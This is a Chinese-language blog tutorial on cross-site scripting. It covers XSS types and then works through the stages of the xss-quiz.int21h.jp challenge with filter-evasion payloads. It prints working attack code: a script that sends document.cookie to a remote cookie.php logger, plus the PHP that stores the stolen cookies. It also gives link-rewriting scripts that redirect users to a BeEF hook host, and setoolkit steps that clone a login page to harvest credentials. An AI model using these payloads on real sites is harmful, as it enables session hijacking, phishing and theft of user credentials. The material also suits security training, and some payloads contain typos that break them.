XSS攻击

XSS攻击


前言

跨站脚本攻击(Cross Site Scripting),为了不和层叠样式表(cascading style sheets,css)的缩写混淆,故将跨站脚本攻击缩写为xss。而已攻击者往web页面里插入恶意script代码,当用户浏览该网页时,嵌入在web里面的script代码会被执行,从而达到恶意攻击用户的目的。(cookie盗取、网页篡改)
参考链接:https://owasp.org/www-community/xss-filter-evasion-cheatsheet


一、XSS分类

1. 反射型XSS:

非持久性xss,攻击有效次数为一次
例如:攻击者通过邮件等形式将包含xss代码的链接发送给正常用户,当用户点击时,服务器接收该用户的请求并进行处理,然后把带有xss代码发送给用户。用户浏览器解析执行代码,触发xss漏洞。
在这里插入图片描述

2. 存储型XSS:

持久型xss,攻击脚本存储在目标服务器的数据库中,具有更强的隐蔽性
例如:攻击者在论坛、博客、留言板中,发帖的过程中嵌入xss攻击代码,帖子被目标服务器存储在数据库中。当用户进行正常访问时,触发xss代码。
在这里插入图片描述

3. DOM型XSS:

Dom型XSS全称document object model,使用dom动态访问更新文档的内容、结构及样式
例如:html标签都是节点,节点组成了节点树。通过HTML DOM可以对树上的所有结点进行修改。服务器响应不会处理攻击者脚本,而是用户浏览器处理这个响应时,DOM对象就会处理xss代码,触发xss漏洞。(用户浏览器来处理这个响应)
在这里插入图片描述

二、XSS盗取Cookie

1. cookie介绍:

(1)Cookie是在HTTP协议下,服务器或脚本可以维护客户工作站上信息的一仲方式。Cookie是由web服务器保存在用户浏览器(客户端)上的小文本文件,它可以包含有关用户的信息;
(2)目前有些cookie是临时的,有些则是持续的。临时的cookie只在浏览器上保存一段规定的时间,一旦超过规定的时间,该cookie将会被系统清除;
(3)服务器可以利用cookie包含信息的任意来筛选并经常性维护这些信息,以判断在HTTP传输的状态;
(4)Cookie是最典型的应用是判定注册用户是否已经登录网站,用户可能会得到提示,是否在下一次进入此网站时保留用户信息以便简化登录手续,这些都是cookie的功用。另一个重要应用场合时“购物车”之类处理。用户可能会在一段时间内在同一家网站的不同页面中选择不同商品,这些信息都会写入cookie,以便在最后付款时提取信息;

2. 利用反射型xss盗取cookie:

Payload:<script>document.location=’http://ip/cookie.php?cookie=+document.cookie</scrtipt>

参数介绍:
(1)document:代表整个文档流
(2)Location:重定向
(3)cookie.php文件配置:
代码如下:

<?php
$cookie=$_GET['cookie'];
file_put_contents('cookie.txt',$cookie);
?>

(4)效果截图:

http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/xss_cookie/cookie.php?cookie='+document.cookie</script>#http://127.0.0.1/dvwa/vulnerabilities/xss_r/?name=<script>document.location='http://127.0.0.1/xss_cookie/cookie.php?cookie='+document.cookie</script>#

在这里插入图片描述

三、XSS篡改网页链接

1. XSS篡改网页链接:

payload:

<script>
window.onload = function(){
var link=document.getElementsByTagName("a");
for(j = 0;j < link.length;j++){
  link[j].href="http://127.0.0.1/";}
}

</script>

2. 代码分析:

为Windows对象,调用onload事件,当打开加载页面时,执行function匿名函数(未定义名称),花括号表示函数体,使用document.getElementsByTagName获取a标签,所有的a标签都存储在变量link中,并且当前页面不止有一个链接标签,由此猜测link为一个数组,最后使用for进行遍历,j等于0表示从0开始的数组都是,j小于link.length表示最大长度下标索引为link.length减1,link[j]遍历出来就可以调用href属性,最后将a标签链接的网址替换为href属性中的链接。

3. 利用反射型xss篡改网页链接:

在这里插入图片描述

四、使用beef进行xss漏洞利用

1. 使用beef生成hook.js:

root@cxyzupup:~# beef-xss

在这里插入图片描述

2. 将hook.js写入到恶意主机中:

a:开启主机中的http服务:/etc/init.d/apache2 start
在这里插入图片描述
b:将hook.js链接添加到恶意主机的index.html文档中: sudo vi/var/www/html/index.html
在这里插入图片描述
c:利用xss漏洞将url篡改为恶意主机url(http://192.168.1.5/index.html):

<script>
window.onload = function(){
var link=document.getElementsByTagName("a");
for(j = 0;j < link.length;j++){
  link[j].href="http://192.168.1.5/index.html";}
}

在这里插入图片描述
d:现在只要访问该网站页面下的任意链接,都会触发xss重定向,被遭beef利用:
在这里插入图片描述

五、利用xss盗取用户信息

1. 使用setoolkit工具克隆存在xss漏洞的网站:

sudo setoolkit

输入1:Social-Engineering Attacks
在这里插入图片描述
输入2:Website Attack Vectors
在这里插入图片描述
输入3:Credential Harvester Attack Method
在这里插入图片描述
输入2:Site Cloner
在这里插入图片描述
输入被克隆网站的url:http://192.168.1.4/dvwa/login.php
在这里插入图片描述

2. 利用xss漏洞将网站链接重定向到恶意url:

(1)Payload:

<script>window.location="http://192.168.1.6/"</script>

在这里插入图片描述
(2)使用存储型xss进行利用,每次刷新页面,url都会被重定向到恶意服务器所克隆的网站url链接下,此时用户输入的信息都会被记录在setoolkit中:
在这里插入图片描述

六、XSS实操:

1. Stage #1

项目地址:https://xss-quiz.int21h.jp/
(1) xss漏洞查找:输入位置中提交独一无二的字符串,在html文本中查找
在这里插入图片描述
(2)发现输入内容在html文本中的b标签中显示,b标签在html中规定为粗体文本,在b标签中,使用会直接被当作js代码执行:

payload:
<script>alert(document.domain)</script>

在这里插入图片描述
(3)闭合b标签,触发xss:

payload:
</b><script>alert(document.domain)</script>

在这里插入图片描述

2. Stage #2

项目地址:
https://xss-quiz.int21h.jp/stage2.php?sid=712a14fcd290cc3d6b52d3a40805b22f41dc85ce
(1)xss漏洞查找:输入位置中提交独一无二的字符串,在html文本中查找
在这里插入图片描述
(2)通过审查元素发现输入的内容会在input类型为文本框的value属性中输出,因此可以闭合input标签,触发xss

payload:
cxyzupup"><script>alert(document.domain)</script>

在这里插入图片描述
(3)也可以在input类型中添加onmuseover属性,引入js代码触发xss:

payload:
cxyzupup" onmouseover=alert(document.domain)>        ######当鼠标移动到输入框,就会进行xss弹窗

在这里插入图片描述

3. Stage #3

项目地址:
https://xss-quiz.int21h.jp/stage-3.php?sid=d83b59699bb2ae415cff59c3a665481135a4f4cd
(1)Html select标签介绍:select元素用来创建单选或多选菜单,元素中的标签用来定义列表中的可用选项
在这里插入图片描述
(2)闭合标签触发xss:

payload:
</options><script>alert(document.domain)</script>

在这里插入图片描述

4. Stage #4

项目地址:
https://xss-quiz.int21h.jp/stage_4.php?sid=245a1658ea3b379e740178e73db494ff71b331ea
(1)HTML表单隐藏参数介绍(hidden):可以在html文件中查找hidden参数隐藏域是用来收集或发送信息的不可见元素,对于网页的访问者来说,隐藏域是看不见的。当表单被提交时,隐藏域就会将信息用你设置时定义的名称和值发送到你的服务器上

代码格式:<input type="hidden" name="......" value="......">

在这里插入图片描述
(2)闭合input标签,触发xss:

payload:
"><script>alert(document.domain)</script>

在这里插入图片描述
(3)使用svg进行xss漏洞利用:
HTML中的svg简介:意为可缩放矢量图形(scalable vector graphics),使用xml格式定义图像
用法:<svg/事件=””> 加载svg时,触发事件

payload:
"><svg onload=alert(document.domain)>%0a

在这里插入图片描述

5. Stage #5

项目地址:
https://xss-quiz.int21h.jp/stage–5.php?sid=7a4ef50e040bc6fcf0c7ed95fb4d504f4a5e2ba5
(1)maxlength属性介绍:规定输入的字段允许的最大长度,如果设置了maxlength属性,则输入内容不介绍找过所允许的字符数
在这里插入图片描述
(2)使用python中的内置函数(len)计算对应payload的长度
a. 定义一个payload:

payload =<script>alert(document.domain)</script>

在这里插入图片描述
b. 使用函数len计算payload长度:

len(payload)

在这里插入图片描述
(3)闭合input标签及修改maxlength值,构造payload触发xss:
a. 修改maxlength值:
在这里插入图片描述
b. 构造payload触发xss:

111"><script>alert(document.domain)</script>

在这里插入图片描述
(4)使用onmouseover事件触发xss:每次当鼠标移动到输入框时,就会触发xss

payload:
111”onmouseover=alert(document.domain)>

在这里插入图片描述

6. Stage #6

项目地址:
https://xss-quiz.int21h.jp/stage-no6.php?sid=e0b84cb12162d8ac2d8eb4dc99d142d1d9e3e1d4
(1)事件属性介绍:
https://www.w3school.com.cn/html5/html5_ref_eventattributes.ASP
(2)xss漏洞查找:输入位置中提交独一无二的字符串,在html文本中查找
在这里插入图片描述
(3)闭合input标签,插入js代码:

payload:
cxyzupup"><script>alert(document.domain)</script>

在这里插入图片描述
(4)使用onmouseover事件,绕过尖括号,触发xss:

payload:
cxyzupup" οnmοuseοver="alert(document.domain)

在这里插入图片描述

7. Stage #7

项目地址:
https://xss-quiz.int21h.jp/stage07.php?sid=f1350171e812a611e024eb81cdde889b8d3ec6d4
(1)xss漏洞查找:输入位置中提交独一无二的字符串,在html文本中查找
在这里插入图片描述
(2)闭合input标签触发xss:

payload:
cxyzupup"><script>alert(document.domain)</script>

在这里插入图片描述
(3)在input标签中插入onmouseover事件,触发xss:

payload:
cxyzupup" οnmοuseοver="alert(document.domain)"

在这里插入图片描述
注意:js代码是以一个双引号开始和结束的;
(4)重新构造payload触发xss:

payload:
cxyzupup” onmouseover=alert(document.domain)

在这里插入图片描述

8. Stage #8

项目地址:
https://xss-quiz.int21h.jp/stage008.php?sid=65c880bab251c3a49cc78ccac6adb943650b234d
(1)xss漏洞查找:输入位置中提交独一无二的字符串,在html文本中查找
发现提交内容在a标签中的href属性中显示
在这里插入图片描述
(2)a标签中的href属性介绍:

a. <a>标签定义超链接,其最重要属性便为href属性,它指链接目标

在这里插入图片描述

b. Javascript伪协议介绍:https://www.jb51.net/article/52358.htm

(3)构造JavaScript伪协议构造payload触发xss:

payload:
javascript:alert(document.domain)

在这里插入图片描述

9. Stage #9

项目地址:
https://xss-quiz.int21h.jp/stage_09.php?sid=0684a8c2eff54ebf0fb700cbcb8d10b7ee914154
注意:使用的编码为utf-7,大多浏览器不支持

payload:
onclick="alert(document.domain)"

在这里插入图片描述

10. Stage #10

项目地址:
https://xss-quiz.int21h.jp/stage00010.php?sid=f8e551c82478a9ba0ca87fb69c5ab9704c8724c9
(1)xss漏洞查找:
a. 输入位置中提交独一无二的字符串,在html文本中查找
在这里插入图片描述
b. 闭合input标签触发xss:

payload:
”><script>alert(document.domain)</script>

在这里插入图片描述
(2)绕过过滤,触发xss:
a. 双写绕过:

payload:
cxyzupup"><script>alert(document.dodomainmain)</script>

在这里插入图片描述
b. 使用base64编码绕过:

payload:
cxyzupup"><script>eval(atob('YWxlcnQoZG9jdW1lbnQuZG9tYWluKQ=='))</script>

eval函数介绍:可以接受一个字符串str作为参数,并把这个参数作为脚本代码来执行
atob函数介绍:将加密的base64内容转换为原文
在这里插入图片描述

11. Stage #11

项目地址:
http://xss-quiz.int21h.jp/stage11th.php?sid=756e90d9a168c24e2abbc43d1f4409ce6ff70de3
(1)xss漏洞查找:输入位置中提交独一无二的字符串,在html文本中查找
在这里插入图片描述
(2)通过a标签插入js,触发xss:
a. a标签介绍:a标签定义超链接(用于从一张页面链接到另一张页面)或锚(用于从页面当前位置跳转至指定锚点),它最重要的属性是 href 属性,指示链接的目标。所有浏览器都支持 a 标签
b. href 属性介绍:标签定义HTML 链接,链接的地址在 href 属性中指定
c. 通过插入a标签构造payload:

payload:
111”> <a href=”javascript:alert(document.domain)”>xss</a>

在这里插入图片描述
d. 使用html编码的空格绕过替换,触发xss:

payload:
111><a href=”javascr&#x09;ipt:alert(document.domain);>xss</a>

注意:&#x09;:为tab键的html编码(HTML特殊字符不包括TAB. TAB应该也可以用&#9;表示,但只有在<PRE>...</PRE>;这样的标签内部才起作用. 其他地方只相当于一个空格.

在这里插入图片描述

12. Stage #12

项目地址:
http://xss-quiz.int21h.jp/stage_no012.php?sid=188b00a4305c62ea415313484b57a9a3b59df5cb
(1)xss漏洞查找:
a. 输入位置中提交独一无二的字符串,在html文本中查找:
在这里插入图片描述
b. 闭合字符后使用html事件触发xss:

payload:
111”>οnclick=”alert(document.domain)”

在这里插入图片描述
(2)利用ie浏览器特性,闭合字符,触发xss:ie浏览器中两个反引号``可以闭合1个左边双引号

payload:
`` οnmοuseοver=alert(docunment.domain)

在这里插入图片描述
在这里插入图片描述

13. Stage #13

项目地址:此项目请使用低版本ie浏览器(ie6、ie7、ie8)
https://xss-quiz.int21h.jp/stage13_0.php?sid=e7fbad589bd0d122d70280ead4f110a15a780a58
(1)xss漏洞查找:
a. 输入位置中提交独一无二的字符串,在html文本中查找
在这里插入图片描述
b. 闭合字符后使用html事件触发xss:

payload:
111"> οnclick="alert(document.domain)"

在这里插入图片描述
注:插入的js被当作字符串输出,因此无法触发xss
(2)使用Css特性构造payload触发xss:
a. Css特性介绍:
Background:设置背景颜色
设置background:url,利用JavaScript伪协议执行js。目前只有老版本ie浏览器支持
b. 利用css特性构造payload触发xss:

payload:
background-color:#f00;background:url("javascript:alert(document.domain);");

在这里插入图片描述

14. Stage #14

项目地址:
https://xss-quiz.int21h.jp/stage-_-14.php?sid=629f751afebeb8704c0384e6e839b061d5798f5f
(1)xss漏洞查找:
a. 输入位置中提交独一无二的字符串,在html文本中查找:
在这里插入图片描述
b. 闭合字符后使用html事件触发xss:

payload:
111" οnclick="alert(document.domain)"

在这里插入图片描述
(2)利用css特性构造payload触发xss:
a. css部分特性介绍:
font-family: Verdana;(字体)
background-color: #555555;(背景颜色)
margin: 3px 20px 3px 20px;(内边距)
font-size: 12px;(文字大小)
在这里插入图片描述
b. 使用css特性构造payload触发xss:

payload:
xss:expres/**/sion(if(!window.x){alert(document.domain);window.x=1;})

Payload介绍:
/**/                           ###css中表示注释
ex/**/pression                 ###绕过对关键字expression的过滤
!window.x                      ###是Windows用来获取窗口全局变量,声明x变量是一个错误的信息,最后它会是一个undefined (没有定义的信息),没有定义就会执行下一条(alert(document.domain))
window.x=1                     ###变量为1,弹一次窗

在这里插入图片描述

15. Stage #15

项目地址:
https://xss-quiz.int21h.jp/stage__15.php?sid=298f0a3a9ab97fe2566c2828b726de9ba1c3ff07
(1)xss漏洞查找:
a. 输入位置中提交独一无二的字符串,在html文本中查找:
在这里插入图片描述
b. 直接插入js代码,触发xss:

payload:
<script>alert(document.domain)</script>

在这里插入图片描述
(2)使用js可识别的16进制写法触发xss:
a. js可识别的16进制转换:利用python进行转换

>>> import binascii                                       ####导入import模块
>>> print ("\\x" +binascii.b2a_hex("<"))                  ###转换<
\x3c
>>> print ("\\x" +binascii.b2a_hex(">"))                  ###转换> 
\x3e

在这里插入图片描述
b. 使用js可识别的16进制编码构造payload触发xss:

payload:
\x3cscript\x3ealert(document.domain)\x3c/script\x3e

在这里插入图片描述
c. 在之前的payload基础上添加一个\,触发xss:

payload:
\\x3cscript\\x3ealert(document.domain)\\x3c/script\\x3e

在这里插入图片描述

16. Stage #16

项目地址:
http://xss-quiz.int21h.jp/stage00000016.php?sid=67973758e07ac879612c31437a2e1fb283b760e7
(1)使用Unicode编码构造payload触发xss:
a. Unicode介绍:Unicode(统一码、万国码、单一码)是计算机科学领域里的一项业界标准,包括字符集、编码方案等。Unicode是为了解决传统的字符编码方案的局限而产生的,它为每种语言中的每个字符设定了统一并且唯一的二进制编码,以满足跨语言、跨平台进行文本转换、处理的要求;
b. 使用python将字符转换为Unicode类型:

>>> import binascii                                ####导入import模块
>>> print "\\u00" + binascii.b2a_hex("<")          ###转换<
\u003c
>>> print "\\u00" + binascii.b2a_hex(">")          ###转换>
\u003e
>>>

在这里插入图片描述
c. 使用Unicode编码构造payload触发xss:

payload:
\\u003cscript\\u003ealert(document.domain);\\u003c/script\\u003e

注意:这里转换的编码为单斜杠,是会被过滤的,因此使用双斜杠被过滤后还会留下一个斜杠
在这里插入图片描述

顶着一切热爱生活才是真的酷!!!!!!

  • 3
    点赞
  • 9
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值